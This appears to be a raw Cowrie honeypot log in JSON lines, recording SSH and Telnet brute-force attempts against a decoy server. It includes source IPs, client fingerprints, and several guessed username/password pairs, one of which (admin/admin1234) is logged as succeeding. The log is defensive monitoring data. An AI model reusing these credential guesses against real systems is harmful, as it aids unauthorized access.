{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:55.648443Z","src_ip":"113.164.152.20","session":"854d5e28b40e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Rr@123456","message":"login attempt [root/Rr@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:55.774690Z","src_ip":"182.93.50.90","session":"b33978a6b466","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":49202,"dst_ip":"159.203.135.109","dst_port":22,"session":"a52b8ba4c5da","protocol":"ssh","message":"New connection: 91.92.40.36:49202 (159.203.135.109:22) [session: a52b8ba4c5da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:56.600269Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:56.992758Z","src_ip":"182.93.50.90","session":"b33978a6b466","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:57.687875Z","src_ip":"91.92.40.36","session":"a52b8ba4c5da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:57.692455Z","src_ip":"91.92.40.36","session":"a52b8ba4c5da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.97828006744385,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:59.364337Z","src_ip":"172.81.62.90","session":"e8aad15f3d46","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"developer","password":"123qwerty","message":"login attempt [developer/123qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:45:59.931307Z","src_ip":"91.92.40.36","session":"8d967a34505a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.1","message":"Connection lost after 12.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:02.831189Z","src_ip":"91.92.40.36","session":"8d967a34505a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"staging","password":"123123","message":"login attempt [staging/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:03.088476Z","src_ip":"91.92.40.36","session":"a52b8ba4c5da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.2","message":"Connection lost after 8.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:04.798074Z","src_ip":"91.92.40.36","session":"a52b8ba4c5da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":49218,"dst_ip":"159.203.135.109","dst_port":22,"session":"01714fe8c7d3","protocol":"ssh","message":"New connection: 91.92.40.36:49218 (159.203.135.109:22) [session: 01714fe8c7d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:06.939741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:07.476191Z","src_ip":"91.92.40.36","session":"01714fe8c7d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:08.454970Z","src_ip":"91.92.40.36","session":"01714fe8c7d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"4321","message":"login attempt [developer/4321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:13.089509Z","src_ip":"91.92.40.36","session":"01714fe8c7d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":50950,"dst_ip":"159.203.135.109","dst_port":22,"session":"2baef0156c62","protocol":"ssh","message":"New connection: 91.92.40.36:50950 (159.203.135.109:22) [session: 2baef0156c62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:14.222699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:14.238871Z","src_ip":"91.92.40.36","session":"2baef0156c62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:14.337633Z","src_ip":"91.92.40.36","session":"2baef0156c62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"123qwe","message":"login attempt [master/123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:15.015264Z","src_ip":"91.92.40.36","session":"2baef0156c62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.4","message":"Connection lost after 8.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:15.328621Z","src_ip":"91.92.40.36","session":"01714fe8c7d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:16.161836Z","src_ip":"91.92.40.36","session":"2baef0156c62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":49562,"dst_ip":"159.203.135.109","dst_port":22,"session":"05b2208fad32","protocol":"ssh","message":"New connection: 103.27.238.114:49562 (159.203.135.109:22) [session: 05b2208fad32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:19.865393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:19.869626Z","src_ip":"103.27.238.114","session":"05b2208fad32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:20.130509Z","src_ip":"103.27.238.114","session":"05b2208fad32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"whiskey","message":"login attempt [root/whiskey] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:20.915485Z","src_ip":"103.27.238.114","session":"05b2208fad32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":52804,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ad5ed138ae1","protocol":"ssh","message":"New connection: 91.92.40.36:52804 (159.203.135.109:22) [session: 7ad5ed138ae1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:21.334976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:21.545484Z","src_ip":"91.92.40.36","session":"7ad5ed138ae1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:21.549551Z","src_ip":"91.92.40.36","session":"7ad5ed138ae1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.34380769729614,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:21.597947Z","src_ip":"128.199.8.54","session":"b682b473d578","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:22.178956Z","src_ip":"103.27.238.114","session":"05b2208fad32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"levani","message":"login attempt [admin/levani] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:23.250227Z","src_ip":"91.92.40.36","session":"7ad5ed138ae1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.08988404273987,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:24.649312Z","src_ip":"128.199.8.54","session":"404054d8f970","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:24.772707Z","src_ip":"91.92.40.36","session":"7ad5ed138ae1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":49442,"dst_ip":"159.203.135.109","dst_port":22,"session":"7925657cb7d8","protocol":"ssh","message":"New connection: 91.92.40.36:49442 (159.203.135.109:22) [session: 7925657cb7d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:29.307861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:29.731909Z","src_ip":"91.92.40.36","session":"7925657cb7d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.148.145.132","src_port":54041,"dst_ip":"10.17.0.5","dst_port":22,"session":"e0bef8da631c","protocol":"ssh","message":"New connection: 23.148.145.132:54041 (10.17.0.5:22) [session: e0bef8da631c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:29.773864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:29.777747Z","src_ip":"23.148.145.132","session":"e0bef8da631c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:29.846341Z","src_ip":"23.148.145.132","session":"e0bef8da631c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:30.434315Z","src_ip":"91.92.40.36","session":"7925657cb7d8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:32.075237Z","src_ip":"23.148.145.132","session":"e0bef8da631c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":55196,"dst_ip":"10.17.0.5","dst_port":22,"session":"a669f1583b90","protocol":"ssh","message":"New connection: 123.27.168.40:55196 (10.17.0.5:22) [session: a669f1583b90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:34.414334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:34.418190Z","src_ip":"123.27.168.40","session":"a669f1583b90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:34.665675Z","src_ip":"123.27.168.40","session":"a669f1583b90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":49460,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d57915014d4","protocol":"ssh","message":"New connection: 91.92.40.36:49460 (159.203.135.109:22) [session: 9d57915014d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:35.096180Z"}
